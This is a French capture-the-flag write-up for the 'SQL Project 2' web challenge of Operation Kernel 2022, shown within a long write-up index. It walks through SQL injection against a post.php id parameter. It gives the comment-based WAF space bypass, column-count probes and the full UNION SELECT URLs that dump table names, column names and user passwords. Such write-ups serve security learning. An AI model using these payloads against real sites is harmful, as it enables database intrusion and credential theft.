Writeups
  • ℹ️Infos
  • 🗓️2021
    • DvCTF (to join DaVinciCode)
      • Crypto
        • Baby RSA
        • Ressaye
        • Unbreakable encryption
      • Forensics
        • Broken Portrait
        • Russian Dolls
        • Sus USB
      • Misc
        • Jus de Flag
        • Welcome
      • OSINT
        • Absolutely Nuts
      • Progra
        • Snoop's Mission
      • Reverse
        • Baby Reverse
        • Basic Cracking
        • Code Pyn
      • Steganography
        • Colorful Code
        • Hurt Your Eyes
        • Orchestra of Flags
        • Tyger
      • Web
        • Have I Been Pwned
        • What's Up ?
  • 🗓️2022
    • DvCTF 2022
      • Crypto
        • Cwryptographic Owacle
        • Secure Or Not Secure
        • small weiner
      • Forensics
        • Very Bad Script
      • Misc
        • Data Leak
        • Going postal
        • The Hacker Man
      • OSINT
        • Elon Musk
        • Monkeey
        • Painting Spot
        • Welcome to the DaVinciCTF!
      • Pentest
        • DaVinci's Playlist : Part 1
        • DaVinci's Playlist : Part 2.5
        • DaVinci's Playlist : Part 2
      • Programming
        • Heaven's Gate
        • Sudoku
        • TicTacToe
      • Reverse
        • CryptoVault
        • Mine Game
        • Obfuscated
        • Peripheral Interface Controller XVI
      • Steganography
        • ICMP
        • The Arts of Details
        • Treasure
      • Warmup
        • EBG13
        • FrenchFlag
        • MP3
        • QmFzZTY0
        • RSA
        • Welcome
      • Web
        • CyberStreak v1.0
        • 🎵
    • picoCTF 2022
      • Challs WU
    • @HackDay - Qualifications
      • Crypto
        • Francis Bacon
        • Francs Maçons
        • Rotate-me!
        • Un message codé ?
      • Forensics
        • bad_timing_for_reversing
      • Hardware
        • Cubik'cipher
        • WebSDR
      • Reverse
        • Calling Conventions
        • Memory Investigation
      • Steganography
        • I can make pictures
        • J'ai perdu le flag :(
        • Pokémons
        • Un coup de maître
        • Un logo cachotier
      • Web
        • GIT!
        • Part. 1 - Uploads
        • Part. 2 - Old md5
        • Part. 3 - sudo python
    • 404CTF
      • Crypto
        • Un simple oracle [1/2]
        • Un simple oracle [2/2]
      • Misc
        • Je suis une théière
        • Pierre-papier-Hallebarde
        • GoGOLFplex
      • OSINT
        • À l'aube d'un échange
        • Collaborateur suspect
        • Equipement désuet
      • Reverse
        • Mot de passe ?
      • Steganography
        • La plume à la main
        • PNG : Un logo obèse [1/4]
        • PNG : Drôles de chimères [2/4]
        • Toujours obèse [3/4]
      • Web
        • Fiché JS
        • Le braquage
        • Du gâteau
        • En construction !
    • Operation Kernel
      • Crypto
        • Scytale
      • Forensics
        • Research Paper
        • Excel Confidential
      • Reverse
        • CryptoLocker
        • What_If_CryptoLocker
      • Social Engineering
        • Pour vivre secure vivons caché
        • Pour vivre secure vivons caché Part 2
      • Stegano
        • AudioSpectre
        • Datacenter
        • Takazume
      • WEB
        • Research paper blog
        • SQL Project 1
        • SQL Project 2
        • SQL Project 3
        • Tenue de soirée requise
  • 🗓️2023
    • 404CTF 2023
      • Résultats
      • Analyse forensique
        • Pêche au livre
        • Le Mystère du roman d'amour
        • Les Mystères du cluster de la Comtesse de Ségur [1/2]
        • Lettres volatiles
        • Note de bas de page
      • Cloud
        • Le Sot
        • Le Cluster de Madame Bovary
        • Harpagon et le magot
        • Les nuages menaçants 1/3
        • Les nuages menaçants 2/3
      • Cryptanalyse
        • Recette
        • ASCON Marchombre
      • Divers
        • Bienvenue
        • Exemple de connexion à distance
        • Discord
        • À vos plumes !
      • Exploitation de binaires
        • Je veux la lune !
      • Programmation
        • L'Inondation
        • Des mots, des mots, des mots
      • Radio-Fréquence
        • Navi
        • Avez-vous vu les cascades du hérisson ?
        • Le Plombier du câble
        • Ballistic Missile Submarine
      • Renseignement en sources ouvertes
        • Le Tour de France
        • Les OSINTables [1/3]
        • Un vol ?
        • L'âme d'un poète et le coeur d'une femme [1/4]
        • L'âme d'un poète et le coeur d'une femme [2/4]
        • L'âme d'un poète et le coeur d'une femme [3/4]
        • L'âme d'un poète et le coeur d'une femme [4/4]
      • Rétro Ingénierie
        • Le Divin Crackme
        • L'Inspiration en images
      • Sécurité Matérielle
        • Un courrier suspect
        • Un réveil difficile
      • Stéganographie
        • Odobenus Rosmarus
        • L'Œuvre
        • Les Félicitations
        • En Profondeur
        • Le Rouge et le vert, avec un soupçon de bleu
      • Web
        • Le Loup et le renard
        • L'Académie du détail
        • La Vie Française
        • Fuite en 1791
        • L'Épistolaire moderne
        • Chanson d'Inde
      • Web3
        • Art
        • L'Antiquaire, tête en l'air
Powered by GitBook
On this page

Was this helpful?

  1. 2022
  2. Operation Kernel
  3. WEB

SQL Project 2

PreviousSQL Project 1NextSQL Project 3

Last updated 2 years ago

Was this helpful?

Categorie: WEB - Points: 200 - Difficulté: Simple - Solves: 94 Description: L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation... Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations. Lien :

Solution: Pour résoudre ce challenge il faut trouver une méthode pour obtenir le flag contenu dans la BDD Sur cette 2e version du site, la page de login a été enlevée car dans la première version elle était vulnérable et l'administrateur du site a décidé de l'enlever. Ca ne nous facilite pas la tâche tout ça...

En cherchant un peu sur le site, nous pouvons voir qu'il y a des articles :

En regardant le site, il n'y a pas l'air d'avoir de grosses failles à première vue. Mais ceci dit, si nous regardons les pages de articles nous voyons qu'ils sont appelés de la manière suivante : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=X Il y a surement moyen de trouver quelque chose à faire là dedans.

Essayons une injection simple pour voir le nombre de colonnes SQL reçues sur le site : --> ?id=1 ORDER BY 1 => Renvoie un message d'alerte : An unauthorized character/request has been detected ! This query has been blocked. Bon donc il y a un WAF qui filtre les injections...

Essayons de bypasser les espaces avec /**/ pour voir si ça passe : --> ?id=1/**/ORDER/**/BY/**/1 => L'article s'affiche sans problème. Le WAF filtre donc les espaces Maintenant il faut augmenter la valeur pour voir le nombre de colonnes : --> ?id=1/**/ORDER/**/BY/**/2 => 200 --> ?id=1/**/ORDER/**/BY/**/3 => 200 --> ?id=1/**/ORDER/**/BY/**/4 => 200 --> ?id=1/**/ORDER/**/BY/**/5 => 200 --> ?id=1/**/ORDER/**/BY/**/1 => 404 Ok donc il y a 5 colonnes reçues.

Maintenant commençons les injections pour récupérer des infos :

  • Récupérer le nom des tables : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/table_name,/**/NULL/**/FROM/**/information_schema.tables : Mince, nous n'avons récupérer que la première table... Comment pourrions-nous faire pour tout récupérer et pas un seul élément ? Avec la fonction SQL GROUP_CONCAT : `` : Il y a bien toutes les tables et à la fin il y a 2 tables potentiellement intéressantes, article et user

  • Récupérer le nom des colonnes de la table user : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(column_name),/**/NULL/**/FROM/**/information_schema.columns : Il y a 2 colonnes très interressantes à la fin, user et password

  • Afficher le contenu des colonnes user et password : https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(id,username,password),/**/NULL/**/FROM/**/user Oh mais voilà enfin ce merveilleux flag.

    Le challenge se termine donc ici mais il y en a un 3e et déjà qu'ici ce n'était pas simple mais alors le 3e va être très complexe

🚩 FLAG
HACK{S3cuRE_Y0uR_1nPUt}
🗓️
https://secureblog.challenge.operation-kernel.fr/v2
image
image
image
image
image